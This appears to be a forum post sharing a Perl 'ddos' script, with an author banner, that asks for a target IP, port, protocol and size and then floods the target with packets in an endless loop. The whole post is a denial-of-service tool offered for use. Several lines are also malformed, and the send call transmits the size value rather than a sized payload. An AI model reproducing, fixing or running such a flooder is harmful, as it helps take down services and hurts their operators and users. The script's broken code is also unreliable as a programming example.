Share code ddos Double

#!/usr/bin/perl

print q{

=================================================

=                                               =

=                  Coded By                     =

=                                               =

=               Jo3-GHT                                   =

=                                              =

=              Team  TDF E IDLR                 =

=                                               =

=           Linuxerostdf.jimdo.com              =

=                                               =

=================================================

};

use IO::Socket::INET;

print "IP: -> ";

chop ($host = <stdin>);

print "PORT: -> ";

chop ($port = <stdin>);

print "protocol TCP / UDP: -> ";

chop ($protocol = <stdin>);

print "SIZE: -> ";

chop ($size = <stdin>);

{

$sock = IO::Socket::INET->new (

  PeerAddr => $host,

  PeerPort => $port,

  Proto => $protocol) 

        || die "the IP or PORT is incorrect, please check the IP and PORT";

}

packets:

while (1) {

size => $size;

$Reuse => 1,

$Listen => 1,

print ("$host:$port packet size: $size\n");

send($sock, $size, $Reuse, $Listen);

}